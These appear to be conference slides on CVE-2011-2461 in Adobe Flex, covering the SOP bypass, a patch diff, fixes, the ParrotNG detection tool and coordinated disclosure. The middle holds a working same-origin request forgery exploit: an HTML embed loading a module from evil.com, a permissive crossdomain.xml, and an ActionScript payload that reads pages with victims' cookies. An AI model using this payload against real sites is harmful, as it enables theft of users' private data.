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How it started...



Introduction

■ Adobe Flex, read “Apache Flex” since 2011
○ Open source SDK for developing RIAs based on Adobe Flash

○ Provides a set of tools and classes to develop interactive apps 
● UI layout designed through MXML 
● ActionScript for dynamic features

○ It builds SWF files
● They run in browsers with Flash plug-in enabled
● Apps follow the same security rules as “native” Flash apps, at least for 

content running in the browser



Flex Localization

■ Starting from Flex v3, apps support dynamic localization
○ Approach based on properties files

● Depending on the actual localeChain, the app modifies text labels and 
images at run time

● Handy feature for easily localizing applications

/src/locales/en_US/resources.properties

app.name=Name
app.surname=Surname

/src/locales/it_IT/resources.properties

app.name=Nome
app.surname=Cognome

/src/App.mxml

[ . . . ]

<mx:FormItem label=" {resourceManager.
getString('resources','app.name')} "> 

<s:TextInput /> 
</mx:FormItem>

[ . . . ]



Flex Localization (cont’d)

■ Two possibilities to localize Flex apps:

1. Compile the localization properties files directly in your 
application
● The application SWF file includes both the app and the localization files

2. Compile the localization properties files separately, and let the 
application load them at run time
● Each properties file is built in a SWF file, called Resource Module
● The application can load the required module at run-time
● Possibility to modify text labels without recompiling the entire project



Preloading resource modules

■ Resource pre-loading by passing FlashVars in the HTML 
wrapper
○ resourceModuleURLs: “A comma-separated list of URLs from 

which resource modules will be sequentially preloaded. Resource 
modules are loaded by the same class as RSLs, but are loaded 
after the RSLs. The URLs can be relative or absolute.”

<object width="100%" height="100%"  
        type="application/x-shockwave-flash"  
        data="http://victim.com/App.swf"> 
  <param name="flashvars" 
         value="resourceModuleURLs=English.swf "> 
</object>  



SOP in Adobe plug-ins

■ Flash applets have their security context derived from 
the origin they are loaded from

○ Same-origin interaction is allowed
● Flash movie hosted at A.com can access data on A.com

○ Cross-origin interaction is not allowed unless the receiver domain 
defines a cross-domain policy
● Flash movie hosted at A.com 

can access data hosted on B.com if 
and only if B defines its own 
crossdomain.xml file



SOP in Adobe plug-ins (cont’d)

■ Flash applets can make HTTP requests with cookies 
(and retrieve responses) to the domain they are loaded 
from
○ Just think about Rosetta Flash: abusing JSONP handlers to 

“interact” with domains reflecting alphanumeric callbacks

○ As we all know, letting people upload Flash movies leads to XSS
○ Common countermeasures

● Sandbox domains
● Content-Disposition: attachment
● but still, you should take into consideration polyglots...



What if...

■ Malicious web pages can ask Flex apps to load arbitrary 
resource modules

■ The resource module can be loaded from arbitrary 
domains as well...



CVE-2011-2461

Adobe marked it as XSS and released a tech note to verify the vulnerability and to 
explain how to patch it.



CVE-2011-2461 (cont’d)

■ Resource modules inherit the security sandbox of the 
caller SWF
○ External SWF file - loaded from arbitrary domains - can access 

data hosted on the caller domain

■ Impact
○ By asking victims to visit a malicious web page, the vulnerability 

allows attackers to steal victims’ data hosted on the vulnerable 
SWF file’s origin

○ “Indirect” SOP bypass

<object width="100%" height="100%"  
        type="application/x-shockwave-flash"  
        data="http://victim.com/App.swf"> 
  <param name="flashvars" 
value="resourceModuleURLs=http://[arbitrary_evil_domain]/module.swf "> 
</object>  



Exploiting CVE-2011-2461

■ Exploitation scenarios

○ SORF: Same-Origin Request Forgery to steal anti-CSRF tokens and 
private data

○ UI Redressing: override text labels by importing a valid resource 
module, whose text is controlled by the attacker

○ XSS in older versions of Flash Player
● Logically similar to UXSS since the app itself does not need to be 

vulnerable to XSS
● Not possible to pass resourceModuleURLs in querystring anymore



resourceModuleURLs as GET parameter

■ In current Flex version, resourceModuleURLs cannot be 
declared from the querystring 

○ Security enhancement or bug?

○ “Child SWFs or modules, including resource modules, that are 
loaded at runtime sometimes fail to load when the SWF location is 
specified as a URL parameter”
● See https://helpx.adobe.com/x-productkb/multi/loading-child-swfs-

runtime-sometimes.html

○ This limits significantly the impact of the vulnerability
● Unless the application uses a custom wrapper



SORF

■ Same-Origin Request Forgery attack flow

1. The vulnerable SWF file is forced to load an external 
resource module which can “interact” with the domain the 
SWF file is loaded from - due to the vulnerability

2. The resource module performs HTTP requests to steal 
victim’s private data since cookies are automatically 
appended

3. Finally, it “sends” stolen data to the attacker’s domain



SORF (sequence diagram)

■ Same-Origin Request Forgery



SORF (code on the attacker’s side)

<textarea id="x" style="width: 100%; height:50%"></textarea>

<object width="100%" height="100%" 
type="application/x-shockwave-flash" 
data="VULNERABLE_SWF">

  <param name="allowscriptaccess" value="always">
  <param name="flashvars" value="resourceModuleURLs=http://evil.com/URLr.swf?
url=TARGET_WEBPAGE">
</object>

<?xml version="1.0"?>
<cross-domain-policy>
  <allow-access-from domain="*" />
</cross-domain-policy>

■ http://evil.com/test.html

■ http://evil.com/crossdomain.xml

VULNERABLE_SWF such as http://target.example.com/a.swf
TARGET_WEBPAGE such as http://target.example.com/creditcardinformation.php



■ A generic payload (http://evil.com/URLr.swf)
package {
    import flash.display.Sprite;
    ...

    public class URLr extends Sprite {
 

public static var app : URLr;

public function main():void {
app = new URLr();

}

        public function URLr() {
    var url:String = root.loaderInfo.parameters.url as String;

            var loader:URLLoader = new URLLoader();
            configureListeners(loader);
 
            var request:URLRequest = new URLRequest(url);

             ...
 
        private function completeHandler(event:Event):void {
         var loader:URLLoader = URLLoader(event.target);

    var res:String = escape(loader.data);
    

         ExternalInterface.call("eval", "document.getElementById('x').value='" + res + "';document.
getElementById('x').value=unescape(document.getElementById('x').value)");

}
    }
}

SORF (code on the attacker’s side)
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Analysing the patch

“It’s necessary to patch the 
applications to protect user 
data.”



Analysing the patch (cont’d)

■ Anything unusual?
○ Well, the patch does not affect the Adobe Flash Player but the 

Flex framework modules
○ Therefore developers are asked to patch their apps or 

recompile them through a non-vulnerable version of the Flex 
SDK

■ Adobe provided a reliable tool for identifying whether 
SWF files are vulnerable or not
○ It is able to patch compiled applications w/o recompiling
○ Very useful, also in the case of missing sources



Testing patched applications

■ After the patch, resource modules do not inherit the 
embedding SWF’s origin anymore
○ Resource modules can be loaded exclusively from the same-

origin

○ Although this may look very clear at this point, we needed to 
reverse the patch to make sure we really got the point

○ During our preliminary analysis, we noticed some 
inconsistencies:
■ i.e. some apps were correctly loading x-domain SWF modules, whereas 

some others were not



Busting the vulnerable code

■ Adopted methodology

1. We took two versions of the same Flex application sample
The first one vulnerable, whereas the second one patched by the Adobe patch 
tool.

2. We decompiled the two samples and diffed them

3. Analyzing the code diff we were able to understand both the 
vulnerable ActionScript code and the patch

■ In the end, we proved that our hypothesis regarding 
security sandbox inheritance was indeed correct



Vulnerable vs patched

Vulnerable SWF

class ModuleInfo 

public function load(applicationDomain:
ApplicationDomain = null, 
securityDomain:SecurityDomain = null) : void { 
      if(_loaded) 
      { 
         return; 
      } 
      _loaded = true; 
      limbo = null; 
      if(_url.indexOf("published://") == 0) 
      { 
         return; 
      } 
      var r:URLRequest = new URLRequest(_url); 
      var c:LoaderContext = new LoaderContext(); 
      c.applicationDomain = applicationDomain?
applicationDomain:new 
ApplicationDomain(ApplicationDomain.
currentDomain); 
      c.securityDomain = securityDomain; 
      if(securityDomain == null && Security.
sandboxType == 
Security.REMOTE) 
      { 
         c.securityDomain = SecurityDomain.
currentDomain; 
      } 
      loader = new Loader();

Patched SWF

class ModuleInfo 
 
public function load(applicationDomain:
ApplicationDomain = null, 
securityDomain:SecurityDomain = null) : void { 
      if(_loaded) 
      { 
         return; 
      } 
      _loaded = true; 
      limbo = null; 
      if(_url.indexOf("published://") == 0) 
      { 
         return; 
      } 
      var r:URLRequest = new URLRequest(_url); 
      var c:LoaderContext = new LoaderContext();  
      c.applicationDomain = applicationDomain?
applicationDomain:new 
ApplicationDomain(ApplicationDomain.
currentDomain); 
      c.securityDomain = securityDomain; 
      if(securityDomain == null && false == true) 
      { 
         c.securityDomain = SecurityDomain.
currentDomain; 
      } 
      loader = new Loader();  



How to protect

■ Three options:

1. Recompile vulnerable SWF files with the latest Apache Flex 
SDK, including static libraries

2. Patch them with the official Adobe patch tool, as illustrated 
in the official Tech Note. This seems to be sufficiently 
reliable, at least in our experience 

3. Delete them, if not used anymore

Bonus suggestion:
1. Use strict cross-domain policy files 
2. Do not relax it!



Recap

■ We had a cool bug, but it turned out to be a 1-day

■ CVE-2011-2461 was patched in the Flex SDK
○ Vulnerable SWF files can still be exploited in fully patched web 

browsers with the latest Flash plug-in

■ No technical details about exploitation were published

■ Successful exploits would lead to indirect SOP bypass, 
data stealing and actions forging



So, what’s next?

Any chance to catch vulnerable 
real-world Flex applications 
after 4 years?



Automating vulnerability detection

1. Identify vulnerable SWF files in a programmatic 
fashion

2. Build a tool
a. ParrotNG

3. Scan the Internet 
a. Find Subdomains + Your Favourite Search Engine + 

Selenium + ParrotNG
b. Repeat (3a) with multiple computers and wait 

 



ABC Inspection

1. Identify a heuristic to distinguish whether a given SWF file is 
vulnerable or not
a. Flex applications only

b. Empirically conducted by comparing different versions of the same
Flex application sample and focusing on the ModuleInfo:::load method

c. Identified patterns in the ActionScript Bytecode (ABC) to uncover the 
vulnerability

 



ParrotNG

■ Automatic tool to identify vulnerable SWF files 
○ Written in Java
○ One JAR, Two flavors

● Command line utility
● Burp Pro Passive Scanner plugin

○ It uses swfdump - a tool included in Flex framework - for 
disassembling SWF files

○ Open-source
○ Download the src from https://github.com/ikkisoft/ParrotNG



ParrotNG Command Line



ParrotNG Burp Plugin
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ParrotNG at scale

● Between October and December 2014, we scanned a few 
interesting domains for detecting vulnerable SWF files:
○ Top 50 Alexa
○ Adobe.com

○ Sites with bug bounty programs

● We broke the Internet with a four years old vulnerability that was 
never fully understood, and never surfaced

 

...and many others
*All trademarks and logos belong to their respective owners
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Coordinated responsible disclosure

■ We reported the vulnerability to many high-profile 
security teams
○ Providing specific PoCs, ParrotNG, and a PDF with the research

■ Parties were informed on a potential disclosure date
○ Based on their feedback, we identified an appropriate 

disclosure date

■ There are still many more websites that are hosting 
vulnerable SWF files
○ Troopers is about making the world a safer place
○ We need your help and be ethical! 

 



Thanks
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